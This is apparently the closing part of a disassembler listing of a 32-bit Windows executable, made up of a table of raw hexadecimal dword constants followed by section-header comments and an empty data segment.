dd 9A8D810Bh, 0C35B40F7h, 7B100E54h, 0E4A85E26h, 0ABCB067h
dd 0FF88394Eh, 70398529h, 4E8F63C7h, 82BDB747h, 0E9B3395Eh
dd 5AA84702h, 74AF0D67h, 9E205CE1h, 73B5C6B5h, 0E626B009h
dd 0B82D1CFh, 5F1D32AAh, 11C43663h, 929FC053h, 0E4A942ECh
dd 0B9BF6B8Bh, 8AC39EF6h, 0D20815EBh, 3D324546h, 0A7FBDDE1h
dd 71EB3F34h, 1140CAFh, 0C7EDD0DFh, 6AB7D492h, 848DD531h
dd 0D37D32FBh, 27F2DA5Bh, 0FE3848C5h, 3D04F1DEh, 0F1C3ADA4h
dd 8D00B002h, 0CC7E974Bh, 83DCE0D6h, 719DFDC9h, 0CA010108h
dd 7ADE1626h, 7CAAE6A0h, 7AC351CFh, 7BCA9EC0h, 32BE7CEDh
dd 26C54A37h, 0D0D0F385h, 3AE40CF1h, 0DCBE0541h, 324359B6h
dd 4DF303Ch, 6DF7623Dh, 0E1F65ACEh, 9F3F0B7Dh, 0AACEDAC2h
dd 0B5B4C928h, 0A1093F7Dh, 0A52C10C1h, 14F73F81h, 810A16E3h
dd 4761D40Fh, 62E62A5Ch, 0D7E0E51Eh, 8B5EC7EEh, 0AE5BDB36h
dd 0FDF606F5h, 6969B3FBh, 921C85BFh, 86676EA3h, 22ABBB5Ch
dd 0CA11D18Bh, 1FBF4EE1h, 0ECB678C0h, 25D7A179h, 64D27046h
dd 55651F1Bh, 6E787B7Eh, 91F42B7Eh, 0EFDAEA9h, 8853DF06h
dd 11BF0D74h, 0FBC7554Ch, 3CC78F93h, 88A30820h, 0D2797995h
dd 64C187BAh, 81DDD358h, 13EFA7FEh, 0
dd 4Eh dup(?)
_9 ends
; Section 3. (virtual address 0029D000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0029CC00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 69D000h
align 2000h
_idata2 ends
end start